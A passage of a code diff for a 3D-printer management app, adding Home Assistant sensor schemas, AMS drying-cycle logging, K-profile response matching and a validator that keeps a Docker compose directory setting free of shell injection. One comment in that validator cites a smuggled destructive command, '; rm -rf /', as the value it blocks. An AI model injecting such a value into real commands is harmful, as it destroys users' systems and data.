             "print_hours_offset": printer.print_hours_offset,
             "plate_detection_enabled": printer.plate_detection_enabled,
             "plate_detection_enabled": printer.plate_detection_enabled,
             "created_at": printer.created_at,
             "created_at": printer.created_at,

+ 114 - 0
backend/app/schemas/printer_ha_sensor.py

@@ -0,0 +1,114 @@
+"""Schemas for Home Assistant entities bound to a printer (#1148, #448)."""
+
+from datetime import datetime
+from typing import Literal
+
+from pydantic import BaseModel, Field, model_validator
+
+
+class PrinterHASensorBase(BaseModel):
+    printer_id: int
+    name: str = Field(..., min_length=1, max_length=100)
+    entity_id: str = Field(..., pattern=r"^(binary_sensor|sensor)\.[a-z0-9_]+$")
+    kind: Literal["binary", "numeric"] = "binary"
+    device_class: str | None = Field(default=None, max_length=32)
+    unit: str | None = Field(default=None, max_length=16)
+
+    alert_state: Literal["on", "off"] | None = None
+    alert_above: float | None = None
+    alert_below: float | None = None
+
+    block_print: bool = False
+    notify_on_alert: bool = False
+    show_on_printer_card: bool = True
+    sort_order: int = Field(default=0, ge=0, le=999)
+
+    @model_validator(mode="after")
+    def validate_kind_matches_entity(self) -> "PrinterHASensorBase":
+        domain = self.entity_id.split(".")[0]
+        expected = "binary" if domain == "binary_sensor" else "numeric"
+        if self.kind != expected:
+            raise ValueError(f"kind must be '{expected}' for a {domain} entity")
+
+        # Alert fields are per-kind: a threshold on a door contact and an
+        # on/off alert on a thermometer are both configuration the poller
+        # would silently ignore, so reject them at the edge instead.
+        if self.kind == "binary" and (self.alert_above is not None or self.alert_below is not None):
+            raise ValueError("alert_above/alert_below only apply to numeric sensors")
+        if self.kind == "numeric" and self.alert_state is not None:
+            raise ValueError("alert_state only applies to binary sensors")
+        if self.alert_above is not None and self.alert_below is not None and self.alert_below >= self.alert_above:
+            raise ValueError("alert_below must be lower than alert_above")
+
+        # An interlock or a notification with nothing to trigger on would never
+        # fire — that reads as a broken feature, not as a no-op.
+        if (self.block_print or self.notify_on_alert) and not self._has_alert_condition():
+            raise ValueError("block_print and notify_on_alert require an alert condition")
+        return self
+
+    def _has_alert_condition(self) -> bool:
+        return self.alert_state is not None or self.alert_above is not None or self.alert_below is not None
+
+
+class PrinterHASensorCreate(PrinterHASensorBase):
+    pass
+
+
+class PrinterHASensorUpdate(BaseModel):
+    """Partial update. Validated against the merged row in the route, because
+    the per-kind rules above need fields this payload may not carry."""
+
+    name: str | None = Field(default=None, min_length=1, max_length=100)
+    entity_id: str | None = Field(default=None, pattern=r"^(binary_sensor|sensor)\.[a-z0-9_]+$")
+    kind: Literal["binary", "numeric"] | None = None
+    device_class: str | None = Field(default=None, max_length=32)
+    unit: str | None = Field(default=None, max_length=16)
+    alert_state: Literal["on", "off"] | None = None
+    alert_above: float | None = None
+    alert_below: float | None = None
+    block_print: bool | None = None
+    notify_on_alert: bool | None = None
+    show_on_printer_card: bool | None = None
+    sort_order: int | None = Field(default=None, ge=0, le=999)
+
+
+class PrinterHASensorResponse(PrinterHASensorBase):
+    id: int
+    last_state: str | None = None
+    last_changed: datetime | None = None
+    last_checked: datetime | None = None
+    created_at: datetime
+    updated_at: datetime
+
+    class Config:
+        from_attributes = True
+
+
+class PrinterHASensorReading(BaseModel):
+    """One sensor's live state, as the printer card renders it."""
+
+    id: int
+    name: str
+    entity_id: str
+    kind: str
+    device_class: str | None = None
+    unit: str | None = None
+    # Raw HA state: "on"/"off" for binary, the numeric string for sensors.
+    # None when the entity is unavailable or has not been polled yet.
+    state: str | None = None
+    value: float | None = None  # numeric sensors only, parsed from state
+    alerting: bool = False
+    block_print: bool = False
+    reachable: bool = True
+    last_changed: datetime | None = None
+
+
+class HADisplayEntity(BaseModel):
+    """A bindable entity, as offered by the picker."""
+
+    entity_id: str
+    friendly_name: str
+    state: str | None = None
+    domain: str
+    device_class: str | None = None
+    unit_of_measurement: str | None = None

+ 55 - 2
backend/app/schemas/settings.py

@@ -1,8 +1,10 @@
 import json
 import json
+import re
 
 
 from pydantic import BaseModel, Field, ValidationInfo, field_validator
 from pydantic import BaseModel, Field, ValidationInfo, field_validator
 
 
 from backend.app.schemas.print_queue import TriState
 from backend.app.schemas.print_queue import TriState
+from backend.app.utils.printer_models import MAX_CHAMBER_TEMP_C
 
 
 # Outbound service URLs validated on save, so a bad value is rejected at
 # Outbound service URLs validated on save, so a bad value is rejected at
 # configuration time with a clear message rather than failing opaquely at
 # configuration time with a clear message rather than failing opaquely at
@@ -18,6 +20,18 @@ from backend.app.schemas.print_queue import TriState
 # must be reachable on the public internet, on the stricter OIDC guard).
 # must be reachable on the public internet, on the stricter OIDC guard).
 LAN_SERVICE_URL_SETTINGS = ("ha_url", "obico_ml_url", "orcaslicer_api_url", "bambu_studio_api_url")
 LAN_SERVICE_URL_SETTINGS = ("ha_url", "obico_ml_url", "orcaslicer_api_url", "bambu_studio_api_url")
 
 
+# ``docker_compose_dir`` is unusual among the string settings: it is not
+# consumed by Bambuddy at all, it is interpolated into a shell command that
+# the Settings page invites the user to copy and paste into a root-capable
+# terminal (#2664). A value like ``/opt/bambuddy; rm -rf /`` would render as a
+# perfectly plausible-looking update command, so anyone with settings:update
+# could hand every admin a destructive one-liner to run. Restricting the field
+# to characters that occur in real paths removes that entirely; the frontend
+# double-quotes the value when it contains a space, which is safe precisely
+# because quotes, ``$`` and backticks cannot survive this pattern.
+_COMPOSE_DIR_ALLOWED = re.compile(r"^[\w \-./\\:~]+$", re.UNICODE)
+_COMPOSE_DIR_MAX_LEN = 512
+
 
 
 class AppSettings(BaseModel):
 class AppSettings(BaseModel):
     """Application settings schema."""
     """Application settings schema."""
@@ -219,6 +233,14 @@ class AppSettings(BaseModel):
         default="", description="External URL where Bambuddy is accessible (for notification images)"
         default="", description="External URL where Bambuddy is accessible (for notification images)"
     )
     )
 
 
+    # Directory holding the user's docker-compose.yml, shown in the update
+    # instructions so the printed command can be pasted from anywhere (#2664).
+    # Empty means "omit the cd" — which is also the correct rendering when
+    # nothing could be detected, rather than guessing a path that fails.
+    docker_compose_dir: str = Field(
+        default="", description="Host directory containing docker-compose.yml, used in the update instructions"
+    )
+
     # Home Assistant integration for smart plug control
     # Home Assistant integration for smart plug control
     ha_enabled: bool = Field(default=False, description="Enable Home Assistant integration for smart plug control")
     ha_enabled: bool = Field(default=False, description="Enable Home Assistant integration for smart plug control")
     ha_url: str = Field(default="", description="Home Assistant URL (e.g., http://192.168.1.100:8123)")
     ha_url: str = Field(default="", description="Home Assistant URL (e.g., http://192.168.1.100:8123)")
@@ -450,7 +472,7 @@ class AppSettings(BaseModel):
     )
     )
     chamber_temp_presets: str = Field(
     chamber_temp_presets: str = Field(
         default="",
         default="",
-        description="JSON array of 3 chamber-temperature preset values in C (0-60). Empty = use defaults [35, 45, 60]",
+        description="JSON array of 3 chamber-temperature preset values in C (0-65). Empty = use defaults [35, 45, 60]",
     )
     )
     fan_speed_presets: str = Field(
     fan_speed_presets: str = Field(
         default="",
         default="",
@@ -607,6 +629,7 @@ class AppSettingsUpdate(BaseModel):
     mqtt_topic_prefix: str | None = None
     mqtt_topic_prefix: str | None = None
     mqtt_use_tls: bool | None = None
     mqtt_use_tls: bool | None = None
     external_url: str | None = None
     external_url: str | None = None
+    docker_compose_dir: str | None = None
     ha_enabled: bool | None = None
     ha_enabled: bool | None = None
     ha_url: str | None = None
     ha_url: str | None = None
     ha_token: str | None = None
     ha_token: str | None = None
@@ -714,6 +737,36 @@ class AppSettingsUpdate(BaseModel):
             raise ValueError(str(exc)) from exc
             raise ValueError(str(exc)) from exc
         return v
         return v
 
 
+    @field_validator("docker_compose_dir")
+    @classmethod
+    def validate_docker_compose_dir(cls, v: str | None) -> str | None:
+        """Keep the copy-and-paste update command free of shell injection (#2664).
+
+        Validated on the write path only. Doing it on ``AppSettings`` as well
+        would mean a single bad row — however it got there — 500s the entire
+        settings GET and takes the app down with it, which is a worse outcome
+        than rendering a string that has to be pasted into a shell by hand to
+        do anything at all.
+        """
+        if v is None or not v.strip():
+            return v
+        candidate = v.strip()
+        if len(candidate) > _COMPOSE_DIR_MAX_LEN:
+            raise ValueError(f"Compose directory must be at most {_COMPOSE_DIR_MAX_LEN} characters")
+        if not _COMPOSE_DIR_ALLOWED.match(candidate):
+            raise ValueError(
+                "Compose directory may only contain path characters (letters, digits, space, and - _ . / \\ : ~)"
+            )
+        # A trailing backslash is the one survivor that would still break the
+        # frontend's double-quoting: `cd "/opt/bam buddy\"` escapes the closing
+        # quote and swallows the rest of the line. Harmless (the shell just
+        # waits for a terminator rather than running anything) but the user
+        # would be left staring at a continuation prompt, so refuse it here
+        # instead of shipping a command that cannot work.
+        if candidate.endswith("\\"):
+            raise ValueError("Compose directory must not end with a backslash")
+        return candidate
+
     @field_validator("gcode_snippets")
     @field_validator("gcode_snippets")
     @classmethod
     @classmethod
     def validate_gcode_snippets(cls, v: str | None) -> str | None:
     def validate_gcode_snippets(cls, v: str | None) -> str | None:
@@ -783,7 +836,7 @@ class AppSettingsUpdate(BaseModel):
     @field_validator("chamber_temp_presets")
     @field_validator("chamber_temp_presets")
     @classmethod
     @classmethod
     def validate_chamber_temp_presets(cls, v: str | None) -> str | None:
     def validate_chamber_temp_presets(cls, v: str | None) -> str | None:
-        return cls._validate_preset_triple(v, "chamber_temp_presets", 0, 60)
+        return cls._validate_preset_triple(v, "chamber_temp_presets", 0, MAX_CHAMBER_TEMP_C)
 
 
     @field_validator("fan_speed_presets")
     @field_validator("fan_speed_presets")
     @classmethod
     @classmethod

+ 21 - 0
backend/app/schemas/slicer.py

@@ -119,6 +119,27 @@ class SliceRequest(BaseModel):
             "process preset unchanged (#1337)."
             "process preset unchanged (#1337)."
         ),
         ),
     )
     )
+    auto_orient: bool = Field(
+        default=False,
+        description=(
+            "Let the slicer pick each object's orientation before slicing "
+            "(BambuStudio / OrcaSlicer ``--orient 1``, the GUI's 'Auto orient'). "
+            "Off by default: it rotates geometry, so a model the designer laid "
+            "flat on purpose would silently change. Applies on the embedded-"
+            "settings path too — it is a CLI action, not a profile value (#2548)."
+        ),
+    )
+    auto_arrange: bool = Field(
+        default=False,
+        description=(
+            "Let the slicer lay the objects out on the plate before slicing "
+            "(``--arrange 1``, the GUI's 'Auto arrange'). Off by default: it "
+            "repositions objects, discarding a deliberate layout. Forced on "
+            "regardless for cross-nozzle-class re-slices, where the source's "
+            "coordinates land in the target's dead zone (#1493). Applies on the "
+            "embedded-settings path too (#2548)."
+        ),
+    )
 
 
     @model_validator(mode="after")
     @model_validator(mode="after")
     def normalise_preset_refs(self) -> "SliceRequest":
     def normalise_preset_refs(self) -> "SliceRequest":

+ 36 - 0
backend/app/services/archive.py

@@ -1145,6 +1145,8 @@ class ArchiveService:
         prefer_filename_for_name: bool = False,
         prefer_filename_for_name: bool = False,
         plate_id: int | None = None,
         plate_id: int | None = None,
         library_file_id: int | None = None,
         library_file_id: int | None = None,
+        slicer_ams_mapping: list[int] | None = None,
+        slicer_ams_mapping_printer_id: int | None = None,
     ) -> PrintArchive | None:
     ) -> PrintArchive | None:
         """Archive a 3MF file with metadata.
         """Archive a 3MF file with metadata.
 
 
@@ -1167,6 +1169,21 @@ class ArchiveService:
                 metadata. Used by virtual-printer flows so users who rename a job in
                 metadata. Used by virtual-printer flows so users who rename a job in
                 BambuStudio's "send to printer" dialog see that name instead of the
                 BambuStudio's "send to printer" dialog see that name instead of the
                 creator-baked title (#1152).
                 creator-baked title (#1152).
+            slicer_ams_mapping: The slicer's own live-resolved AMS-slot pick, to persist
+                onto `extra_data.slicer_ams_mapping` for a later reprint to reuse. Deliberately
+                a distinct parameter, not read off `print_data["ams_mapping"]` — that key is
+                populated on every MQTT print-start callback regardless of source (bambu_mqtt's
+                request-topic interception captures it for slicer-direct LAN prints too), so
+                promoting it unconditionally would stamp every archive on installs with no
+                virtual printer at all. Callers that gate this behind an opt-in (the VP-queue
+                "Save AMS mapping" toggle) pass it explicitly; everyone else leaves it unset.
+            slicer_ams_mapping_printer_id: The printer `slicer_ams_mapping`'s tray IDs were
+                resolved against. Required alongside `slicer_ams_mapping` — a global tray ID
+                only means something relative to one printer's specific AMS layout, so a
+                mapping saved without knowing which printer it came from can't be safely
+                reused later on any printer, including the same one (there'd be no way to
+                tell). A model-based VP with no fixed target printer has no valid value to
+                pass here and must leave both params unset.
         """
         """
         # Verify printer exists if specified
         # Verify printer exists if specified
         if printer_id is not None:
         if printer_id is not None:
@@ -1255,6 +1272,25 @@ class ArchiveService:
         if print_data:
         if print_data:
             metadata["_print_data"] = print_data
             metadata["_print_data"] = print_data
 
 
+        # Promote the slicer's own live-resolved AMS-slot pick, when the caller
+        # explicitly opted in (see the `slicer_ams_mapping` param docstring for
+        # why this is NOT read off `print_data["ams_mapping"]`), to a stable
+        # top-level extra_data key. Lets a later reprint reuse the exact tray
+        # the user picked/BambuStudio auto-matched at slice time instead of the
+        # scheduler re-deriving one from just the file's static type/color,
+        # which can land on the wrong physical spool when that match isn't
+        # unique. Top-level (not nested under the `_print_data` diagnostic bag)
+        # so API consumers have a single stable path:
+        # `archive.extra_data.slicer_ams_mapping`. Stored together with the
+        # printer it was resolved against — see `slicer_ams_mapping_printer_id`
+        # param docstring — so a later reprint can tell whether it's even
+        # applicable before trying to reuse it.
+        if slicer_ams_mapping and slicer_ams_mapping_printer_id is not None:
+            metadata["slicer_ams_mapping"] = {
+                "mapping": slicer_ams_mapping,
+                "printer_id": slicer_ams_mapping_printer_id,
+            }
+
         # Determine status and timestamps
         # Determine status and timestamps
         status = print_data.get("status", "completed") if print_data else "archived"
         status = print_data.get("status", "completed") if print_data else "archived"
         started_at = datetime.now(timezone.utc) if status == "printing" else None
         started_at = datetime.now(timezone.utc) if status == "printing" else None

+ 382 - 122
backend/app/services/bambu_mqtt.py

@@ -40,6 +40,22 @@ _AMS_MODULE_PREFIXES = ("ams/", "n3f/", "n3s/")
 # printer_manager.ACTIVE_PRINT_STATES and print_scheduler._ACTIVE_PRINT_STATES.
 # printer_manager.ACTIVE_PRINT_STATES and print_scheduler._ACTIVE_PRINT_STATES.
 _ACTIVE_PRINT_STATES = frozenset({"PREPARE", "SLICING", "RUNNING", "PAUSE"})
 _ACTIVE_PRINT_STATES = frozenset({"PREPARE", "SLICING", "RUNNING", "PAUSE"})
 
 
+# AMS dry_status phases (info bits 4-7) in which a drying cycle is still live, so
+# a dry_time of 0 alongside one of them is a transient rather than a completion
+# (#2759). 0=Off, 4=Stopping and 5=Error all mean the cycle is over or ending and
+# are deliberately excluded — those SHOULD end it.
+_ACTIVE_DRY_STATUSES = frozenset({1, 2, 3})  # Checking, Drying, Cooling
+
+# A drying cycle that runs to term ends with its countdown all but exhausted, so
+# the last dry_time we saw before the drop to 0 tells us whether the firmware
+# ended the cycle on schedule or aborted it. More than this many minutes still on
+# the clock means it was cut short, and the firmware's own reason codes are worth
+# capturing at INFO — #2770 aborted a 12-hour cycle 20 minutes in (700 minutes
+# left), and the log said only "drying complete", so the report carried no
+# evidence of why. The margin absorbs a stale last observation between AMS
+# pushes; it is not a judgement about how short "short" is.
+_EARLY_DRY_END_MINUTES = 5
+
 # CONNACK reason codes that mean the printer actively refused our credentials,
 # CONNACK reason codes that mean the printer actively refused our credentials,
 # as opposed to being unreachable or busy. Bambu speaks MQTT 3.1.1, whose
 # as opposed to being unreachable or busy. Bambu speaks MQTT 3.1.1, whose
 # single-byte CONNACK return codes paho maps onto the v5 reason-code space:
 # single-byte CONNACK return codes paho maps onto the v5 reason-code space:
@@ -744,6 +760,11 @@ class BambuMQTTClient:
         # — only the dry_time countdown — so we cache what we sent to drive
         # — only the dry_time countdown — so we cache what we sent to drive
         # the UI badge. Cleared on stop or on the dry_time falling edge to 0.
         # the UI badge. Cleared on stop or on the dry_time falling edge to 0.
         self._drying_targets: dict[int, dict[str, object]] = {}
         self._drying_targets: dict[int, dict[str, object]] = {}
+        # AMS ids we have sent a stop for and not yet seen end. A stop always
+        # ends a cycle far short of its duration, which on the telemetry alone
+        # is indistinguishable from the firmware abandoning it — so the cycle-end
+        # log would otherwise blame the printer for our own decision (#2770).
+        self._drying_stops_sent: set[int] = set()
 
 
         self.state = PrinterState()
         self.state = PrinterState()
         self._client: mqtt.Client | None = None
         self._client: mqtt.Client | None = None
@@ -812,10 +833,17 @@ class BambuMQTTClient:
         # so that missing-serial / missing-firmware warnings fire only once per connection.
         # so that missing-serial / missing-firmware warnings fire only once per connection.
         self._ams_version_warned: set[tuple[int | str, str]] = set()
         self._ams_version_warned: set[tuple[int | str, str]] = set()
 
 
-        # K-profile command tracking
+        # K-profile command tracking. One entry per in-flight extrusion_cali_get,
+        # keyed by the sequence_id we sent, so two concurrent requests for
+        # different nozzle sizes can't steal each other's response (#1748).
+        # Value: {"nozzle": str, "event": asyncio.Event, "profiles": list | None}.
         self._sequence_id: int = 0
         self._sequence_id: int = 0
-        self._pending_kprofile_response: asyncio.Event | None = None
-        self._kprofile_response_data: list | None = None
+        self._pending_kprofile_requests: dict[str, dict] = {}
+        # Acks for K-profile *writes* (extrusion_cali_set / extrusion_cali_del),
+        # keyed by the sequence_id we sent. The printer echoes it back, measured
+        # on both an X1C and an H2D (#2718). Filled by the MQTT thread, drained
+        # by await_cali_ack.
+        self._pending_cali_acks: dict[str, dict | None] = {}
 
 
         # Xcam hold timers - OrcaSlicer pattern: ignore incoming data for 3 seconds after command
         # Xcam hold timers - OrcaSlicer pattern: ignore incoming data for 3 seconds after command
         # Key: module_name, Value: timestamp when command was sent
         # Key: module_name, Value: timestamp when command was sent
@@ -1616,8 +1644,63 @@ class BambuMQTTClient:
             if "command" in print_data:
             if "command" in print_data:
                 cmd = print_data.get("command")
                 cmd = print_data.get("command")
                 logger.debug("[%s] Received command response: %s", self.serial_number, cmd)
                 logger.debug("[%s] Received command response: %s", self.serial_number, cmd)
-                if cmd in ("extrusion_cali_sel", "extrusion_cali_set", "extrusion_cali_del", "ams_filament_setting"):
+                if cmd in ("extrusion_cali_set", "extrusion_cali_del"):
+                    # INFO, not debug: this is the printer's verdict on a write
+                    # the user just made, and it was invisible in support
+                    # bundles for as long as it sat at DEBUG (#2718). Same
+                    # reasoning as ams_filament_drying below.
+                    logger.info(
+                        "[%s] %s response: result=%s reason=%s seq=%s",
+                        self.serial_number,
+                        cmd,
+                        print_data.get("result"),
+                        print_data.get("reason", ""),
+                        print_data.get("sequence_id"),
+                    )
+                    logger.debug("[%s] %s full response: %s", self.serial_number, cmd, print_data)
+                    ack_seq = str(print_data.get("sequence_id", ""))
+                    if ack_seq in self._pending_cali_acks:
+                        self._pending_cali_acks[ack_seq] = print_data
+                elif cmd in ("extrusion_cali_sel", "ams_filament_setting"):
                     logger.debug("[%s] %s response: %s", self.serial_number, cmd, print_data)
                     logger.debug("[%s] %s response: %s", self.serial_number, cmd, print_data)
+                    # A refused ams_filament_setting is the printer's verdict on
+                    # a write the user just made, and at DEBUG it never reached
+                    # a support bundle: #2756 reported six manual Configure Slot
+                    # attempts on an X1C, each returning HTTP 200 with the
+                    # read-back still showing the previous profile, and no
+                    # record of what the printer said about any of them. Same
+                    # promotion as extrusion_cali_set (#2718) and
+                    # ams_filament_drying (#1447) — but only on a non-success,
+                    # because unlike those two this command is not rare: every
+                    # spool assignment and every K-profile re-apply sends one,
+                    # so promoting each ack would bury the interesting line.
+                    #
+                    # The developer-mode probe is excluded. It sends this exact
+                    # command to the external slot precisely to see it refused
+                    # on P1 firmware, so its failure is a normal reading rather
+                    # than a fault. Its response is still matched below (this
+                    # runs before _handle_dev_mode_probe_response clears the
+                    # seq), and user-initiated commands can't be mistaken for
+                    # it — they publish a hardcoded sequence_id of "0".
+                    result = print_data.get("result")
+                    is_dev_mode_probe = (
+                        self._dev_mode_probe_seq is not None
+                        and print_data.get("sequence_id") == self._dev_mode_probe_seq
+                    )
+                    if (
+                        cmd == "ams_filament_setting"
+                        and not is_dev_mode_probe
+                        and isinstance(result, str)
+                        and result.lower() != "success"
+                    ):
+                        logger.info(
+                            "[%s] ams_filament_setting refused: result=%s reason=%s ams_id=%s tray_id=%s",
+                            self.serial_number,
+                            result,
+                            print_data.get("reason", ""),
+                            print_data.get("ams_id"),
+                            print_data.get("tray_id"),
+                        )
                 # AMS drying responses are rare (user-initiated only) and the
                 # AMS drying responses are rare (user-initiated only) and the
                 # full payload — including `result` and any `reason` code —
                 # full payload — including `result` and any `reason` code —
                 # is the only way to diagnose silent rejections like #1447.
                 # is the only way to diagnose silent rejections like #1447.
@@ -2727,16 +2810,31 @@ class BambuMQTTClient:
                 current = int(raw_dry_time)
                 current = int(raw_dry_time)
             except (TypeError, ValueError):
             except (TypeError, ValueError):
                 continue
                 continue
-            previous = self._previous_dry_times.get(ams_id, 0)
-            self._previous_dry_times[ams_id] = current
-            if previous > 0 and current == 0:
-                logger.info(
-                    "[%s] AMS %d drying complete (dry_time %d → 0)",
+            # A dry_time of 0 only means "finished" when the unit also reports
+            # an idle phase. Between the command ack and the countdown settling
+            # the firmware publishes a transient 0 while the AMS is still
+            # Checking — #2759 caught a 720 → 0 → 719 sequence one minute into a
+            # 12-hour cycle. Taking that at face value dropped the cached target
+            # (leaving the badge to guess the filament from tray 1, so a PLA
+            # cycle read "PETG @ 65°C") and fired on_drying_complete, which
+            # schedules smart-plug auto-off. dry_status comes from the same info
+            # hex parsed above; when it is absent we let the edge through, so a
+            # firmware that never reports one still ends its cycles.
+            if current == 0 and ams_unit.get("dry_status") in _ACTIVE_DRY_STATUSES:
+                # Leave the remembered value alone, exactly as the absent-
+                # dry_time skip above does: whichever push ends the cycle for
+                # real must still see a non-zero previous.
+                logger.debug(
+                    "[%s] AMS %d reported dry_time 0 in phase %s — cycle still live, ignoring",
                     self.serial_number,
                     self.serial_number,
                     ams_id,
                     ams_id,
-                    previous,
+                    ams_unit.get("dry_status"),
                 )
                 )
-                self._drying_targets.pop(ams_id, None)
+                continue
+            previous = self._previous_dry_times.get(ams_id, 0)
+            self._previous_dry_times[ams_id] = current
+            if previous > 0 and current == 0:
+                self._log_drying_cycle_end(ams_id, previous, ams_unit, self._drying_targets.pop(ams_id, None))
                 if self.on_drying_complete:
                 if self.on_drying_complete:
                     self.on_drying_complete(ams_id)
                     self.on_drying_complete(ams_id)
 
 
@@ -2776,6 +2874,71 @@ class BambuMQTTClient:
         if self._pending_assignments:
         if self._pending_assignments:
             self._check_assignment_verifications()
             self._check_assignment_verifications()
 
 
+    def _log_drying_cycle_end(
+        self,
+        ams_id: int,
+        remaining: int,
+        ams_unit: dict,
+        target: dict[str, object] | None,
+    ) -> None:
+        """Report a finished drying cycle, with the firmware's reason when it was
+        cut short (#2770).
+
+        A cycle that reaches its configured duration needs no explanation and
+        keeps the one-line "drying complete" it has always had. One that ends
+        with most of its countdown left was ended by somebody, and there are
+        only two candidates: a stop Bambuddy sent — the print-takes-priority
+        stop, or the user's Stop button — which is named as such, or the
+        firmware.
+
+        For the firmware case the only account of why lives in fields we already
+        parse but have never written down: the ``dry_status`` /
+        ``dry_sub_status`` phase from the info hex, the per-unit
+        ``dry_sf_reason`` constraint codes, and whatever HMS errors are live at
+        that moment. Logging them at INFO puts them in every support bundle by
+        default, which is what a report like #2770 needs before its cause can be
+        argued about at all.
+        """
+        if ams_id in self._drying_stops_sent:
+            self._drying_stops_sent.discard(ams_id)
+            logger.info(
+                "[%s] AMS %d drying stopped by Bambuddy (dry_time %d → 0)",
+                self.serial_number,
+                ams_id,
+                remaining,
+            )
+            return
+
+        if remaining <= _EARLY_DRY_END_MINUTES:
+            logger.info(
+                "[%s] AMS %d drying complete (dry_time %d → 0)",
+                self.serial_number,
+                ams_id,
+                remaining,
+            )
+            return
+
+        requested_minutes: int | None = None
+        if target is not None:
+            try:
+                requested_minutes = int(target.get("duration_hours") or 0) * 60 or None
+            except (TypeError, ValueError):
+                requested_minutes = None
+
+        logger.info(
+            "[%s] AMS %d drying ended early — %d of %s minutes still on the clock. "
+            "Bambuddy sent no stop command, so the firmware ended this cycle: "
+            "dry_status=%s dry_sub_status=%s dry_sf_reason=%s hms=%s",
+            self.serial_number,
+            ams_id,
+            remaining,
+            requested_minutes if requested_minutes is not None else "?",
+            ams_unit.get("dry_status"),
+            ams_unit.get("dry_sub_status"),
+            ams_unit.get("dry_sf_reason") or [],
+            [e.full_code for e in self.state.hms_errors] or "none",
+        )
+
     def register_assignment_verification(
     def register_assignment_verification(
         self,
         self,
         ams_id: int,
         ams_id: int,
@@ -5404,107 +5567,138 @@ class BambuMQTTClient:
         )
         )
         # Track the active-cycle target so the badge can show "PETG @ 65°C"
         # Track the active-cycle target so the badge can show "PETG @ 65°C"
         # while drying. Bambu only echoes dry_time on subsequent pushes.
         # while drying. Bambu only echoes dry_time on subsequent pushes.
+        # duration_hours is not shown anywhere; it is what lets the cycle-end log
+        # say how much of the requested time the firmware actually ran (#2770).
         if mode == 1:
         if mode == 1:
             self._drying_targets[ams_id] = {
             self._drying_targets[ams_id] = {
                 "filament": filament or "",
                 "filament": filament or "",
                 "temp": int(temp),
                 "temp": int(temp),
+                "duration_hours": int(duration),
             }
             }
+            self._drying_stops_sent.discard(ams_id)
         else:
         else:
             self._drying_targets.pop(ams_id, None)
             self._drying_targets.pop(ams_id, None)
+            # Remember that this cycle's end is ours, so the cycle-end log
+            # attributes it to Bambuddy instead of to the firmware (#2770). A
+            # stop always ends the cycle far short of its duration, which is
+            # otherwise indistinguishable from the firmware abandoning it.
+            self._drying_stops_sent.add(ams_id)
         return True
         return True
 
 
+    @staticmethod
+    def _parse_kprofile_entries(filaments: list, response_nozzle: str | None, log_errors: bool) -> list[KProfile]:
+        """Build KProfile objects from an ``extrusion_cali_get`` filaments array.
+
+        The printer reports ``nozzle_diameter`` **only on the response
+        envelope** — the per-filament entries carry just setting_id,
+        filament_id, name, k_value, n_coef and cali_idx. Defaulting the
+        per-entry lookup to "0.4" therefore stamped every profile 0.4mm on
+        single-nozzle printers regardless of the installed nozzle (#1748),
+        which broke the K-Profiles display and, worse, the cali_idx cascade
+        in the inventory/Spoolman assign paths that matches on
+        nozzle_diameter. Fall back to the envelope value instead, and only
+        to "0.4" when the envelope has none either.
+
+        ``or`` rather than a dict default on purpose: it also covers an entry
+        that carries the key with an empty value, and stops ``str()`` turning
+        a missing envelope value into the literal "None".
+        """
+        profiles: list[KProfile] = []
+        for i, f in enumerate(filaments):
+            if not isinstance(f, dict):
+                continue
+            try:
+                profiles.append(
+                    KProfile(
+                        # cali_idx is the actual slot/calibration index from the printer
+                        slot_id=f.get("cali_idx", i),
+                        extruder_id=int(f.get("extruder_id", 0)),
+                        nozzle_id=str(f.get("nozzle_id", "")),
+                        nozzle_diameter=str(f.get("nozzle_diameter") or response_nozzle or "0.4"),
+                        filament_id=str(f.get("filament_id", "")),
+                        name=str(f.get("name", "")),
+                        k_value=str(f.get("k_value", "0.000000")),
+                        n_coef=str(f.get("n_coef", "0.000000")),
+                        ams_id=int(f.get("ams_id", 0)),
+                        tray_id=int(f.get("tray_id", -1)),
+                        setting_id=f.get("setting_id"),
+                    )
+                )
+            except (ValueError, TypeError) as e:
+                # Skip malformed entries; the remaining profiles stay usable.
+                # Unsolicited broadcasts arrive constantly, so only a response
+                # someone is actually waiting on is worth a warning.
+                if log_errors:
+                    logger.warning("Failed to parse K-profile: %s", e)
+                else:
+                    logger.debug("Failed to parse K-profile from broadcast: %s", e)
+        return profiles
+
     def _handle_kprofile_response(self, data: dict):
     def _handle_kprofile_response(self, data: dict):
         """Handle K-profile response from printer."""
         """Handle K-profile response from printer."""
         response_nozzle = data.get("nozzle_diameter")
         response_nozzle = data.get("nozzle_diameter")
-        response_seq_id = data.get("sequence_id", "?")
+        response_seq_id = str(data.get("sequence_id", ""))
         filaments = data.get("filaments", [])
         filaments = data.get("filaments", [])
-        expected_nozzle = getattr(self, "_expected_kprofile_nozzle", None)
-        has_pending_request = self._pending_kprofile_response is not None
 
 
-        # Log all incoming responses when we have a pending request (for debugging)
-        if has_pending_request:
+        # Snapshot the map: the asyncio thread adds and removes entries while
+        # this MQTT callback thread walks it.
+        pending = dict(self._pending_kprofile_requests)
+        request = pending.get(response_seq_id)
+
+        if request is None and pending:
+            # Firmware that doesn't echo our sequence_id still has to be
+            # served, so fall back to the pre-#1748 rule of matching on the
+            # nozzle size. Only requests still waiting are eligible, and the
+            # sequence_id lookup above has already claimed any response that
+            # identifies itself, so this can no longer hand request A's
+            # answer to request B when both are in flight.
+            request = next(
+                (r for r in pending.values() if r["nozzle"] == response_nozzle and r["profiles"] is None),
+                None,
+            )
+
+        if pending:
             logger.info(
             logger.info(
-                f"[{self.serial_number}] K-profile response: nozzle={response_nozzle}, "
-                f"seq_id={response_seq_id}, {len(filaments)} profiles, expected={expected_nozzle}"
+                "[%s] K-profile response: nozzle=%s, seq_id=%s, %d profiles, matched=%s",
+                self.serial_number,
+                response_nozzle,
+                response_seq_id or "?",
+                len(filaments),
+                request is not None,
             )
             )
 
 
-        # If we have a pending request, only accept responses with matching nozzle_diameter
-        # The printer broadcasts 0.4mm profiles constantly - we need to wait for the actual response
-        if has_pending_request and expected_nozzle and response_nozzle != expected_nozzle:
-            # Ignore this broadcast, keep waiting for matching response
+        if request is None and pending:
+            # A request is outstanding and this isn't its answer. The printer
+            # broadcasts extrusion_cali_get unsolicited, so letting this
+            # through would replace state.kprofiles with another nozzle's
+            # profiles while the caller is still waiting.
             logger.debug(
             logger.debug(
-                f"[{self.serial_number}] Ignoring broadcast: got nozzle={response_nozzle}, waiting for {expected_nozzle}"
+                "[%s] Ignoring unmatched K-profile response: nozzle=%s, seq_id=%s",
+                self.serial_number,
+                response_nozzle,
+                response_seq_id or "?",
             )
             )
             return
             return
 
 
-        # If no pending request, this is just a broadcast - update state silently and return early
-        if not has_pending_request:
-            # Still parse profiles to keep state updated, but don't log
